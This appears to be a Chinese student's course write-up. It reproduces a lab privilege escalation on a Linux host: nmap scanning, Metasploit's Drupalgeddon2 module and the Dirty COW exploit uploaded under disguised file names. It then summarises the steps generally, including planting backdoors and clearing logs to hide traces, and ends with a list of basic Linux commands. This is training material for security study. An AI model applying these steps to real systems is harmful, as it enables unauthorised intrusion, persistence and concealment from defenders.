1.复现上课的提权案例
案例背景:对与攻击机同网段的未知密码靶机(Linux)进行提权。
打开靶机,只得到了版本信息。
端口扫描
打开Kali,ipconfig看一下ip
由于Kail和靶机处于同网段,于是用nmap扫一下,看是否有可疑主机
可以看到有个192.168.4.136开放了80端口,应该是一个web服务,尝试去访问一下
说明这个主机应该就是案例机
再用nmap对这个主机进行全端口扫描
信息收集
可以看到该主机还开了一个1898端口,访问一下:
使用firefox访问该服务,通过Wappalyzer插件查看用到的框架,如它含有Drupal,往后我们以此作为突破点。
msf连接
kali自带msf,使用命令启动msf
msfconsole
搜一下关于Drupal的漏洞
search Drupal
使用第二个漏洞试一下:
use 1 # 或者 use exploit/unix/webapp/drupal_drupalgeddon2
show options # 列出这个EXP需要配置的参数
用show options查看需要配置的参数后,发现需要重新配置的有rhosts和rport:
填写受害机的ip,同时端口设置为刚才扫描出的已开启的端口1898,然后使用run连接,看到meterpreter就表示连接成功了
set RHOSTS 192.168.4.136
set RPORT 1898
run
在这里可以使用一些命令查看主机的信息,如主机的内核信息为14.04.1-Ubuntu
配置工具
下载提权辅助工具linux-exploit-suggester-master,并上传到受害主机,为了保证上传的隐蔽性,选择上传到tmp目录下,并更名为123.sh,命令如下:
upload /home/kali/linux-exploit-suggester-master/linux-exploit-suggester.sh /tmp/123.sh
上传成功,进入shell去看一眼
cd /tmp
ls -la
查看文件权限,发现不可执行
为该文件添加可执行权限
chmod +x 123.sh
漏洞发现
运行123.sh,从中可以看到许多受害主机可能存在的漏洞
./123.sh
从中可以发现存在dirtycow漏洞
漏洞利用
使用去PoC-in-GitHub上搜一下这里的脏牛漏洞
通过使用https://github.com/nomi-sec/PoC-in-GitHub查询CVE-2016-5195
找到CVE-2016-5195并访问,从中有对应EXP网站指引,下载EXP并上传至kali
上传文件到受害主机的tmp目录并命名为234.cpp
upload /home/kali/CVE-2016-5195-master/dcow.cpp /tmp/234.cpp
启动shell,间接在受害主机上对cpp文件进行编译
shell
cd /tmp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 234 234.cpp -lutil
运行该exp
./234
看到密码
权限提升
su命令需要在终端里才能用,所以先用python打开一个终端,在这个终端里再启动一个shell:
输入密码登录, 成功提升权限为root
2.总结Linux内核提权利用步骤(从内网信息收集到提权成功的思路)
信息收集
网络扫描:使用扫描工具(如nmap、fscan)扫描目标网络,发现目标主机开放的端口和服务。
服务识别:通过端口扫描结果,识别目标主机上运行的服务。可以去访问一下这些端口以进一步确认服务类型。
访问目标主机
查找漏洞:根据识别出的服务,搜索已知的安全漏洞。msf里直接search服务名字即可。
选择EXP:在msf里选择合适的漏洞利用模块(EXP)。
配置EXP:配置EXP所需的参数,如RHOSTS(目标主机IP)和RPORT(目标端口)。
执行EXP:运行配置好的EXP,尝试获取目标系统的访问权限。
权限提升
确认当前用户:通过whoami和id命令确认当前用户权限。
上传漏洞查找工具:将Linux漏洞查找工具(如linux-exploit-suggester、linux-smart-enumeration)上传到目标系统。
执行漏洞查找工具:赋予工具执行权限并执行,查找可用的提权漏洞。比如脏牛(dirty cow)漏洞等。
下载EXP并编译:下载针对特定漏洞的EXP(如Kernelhub、PoC-in-GitHub),在目标系统上编译。
执行EXP提权:运行编译好的EXP,尝试提升权限到root。
登录root
打开终端:由于直接在shell中su命令可能无法执行,可以用Python或其他方法打开一个新的终端。
切换用户:在新的终端中,使用su命令切换到root用户,并输入由EXP的到的密码。
后续操作
持续控制:根据需要,设置后门、安装远程管理工具等,以便持续控制目标系统。
清理痕迹:删除上传的提权工具、EXP等文件,清理日志等,以隐藏攻击痕迹。
3.总结Linux常用命令,10个以上
Linux是一个强大的操作系统,它提供了许多常用的命令行工具,可以帮助我们用于管理文件、目录、进程、网络和系统配置等。以下是一些常用的Linux命令:
1. ls:列出当前目录中的文件和子目录
2. pwd:显示当前工作目录的路径
3. cd:切换工作目录
4. mkdir:创建新目录
mkdir directory_name
5. rmdir:删除空目录
rmdir directory_name
6. rm:删除文件或目录
rm file_name
rm -r directory_name # 递归删除目录及其内容
7. cp:复制文件或目录
cp source_file destination
cp -r source_directory destination # 递归复制目录及其内容
8. mv:移动或重命名文件或目录
mv old_name new_name
9. touch:创建空文件或更新文件的时间戳
touch file_name
10. cat:连接和显示文件内容
cat file_name
11. more/less:逐页显示文本文件内容
more file_name
less file_name
12. head/tail:显示文件的前几行或后几行
head -n 10 file_name # 显示文件的前10行
tail -n 20 file_name # 显示文件的后20行
13. grep:在文件中搜索指定文本
grep search_term file_name
14. ps:显示当前运行的进程
ps aux
15. kill:终止进程
kill process_id
16. ifconfig/ip:查看和配置网络接口信息
ifconfig
ip addr show
17. ping:测试与主机的连通性
ping host_name_or_ip
18. wget/curl:从网络下载文件
wget URL
curl -O URL
19. chmod:修改文件或目录的权限
chmod permissions file_name
20. chown:修改文件或目录的所有者
chown owner:group file_name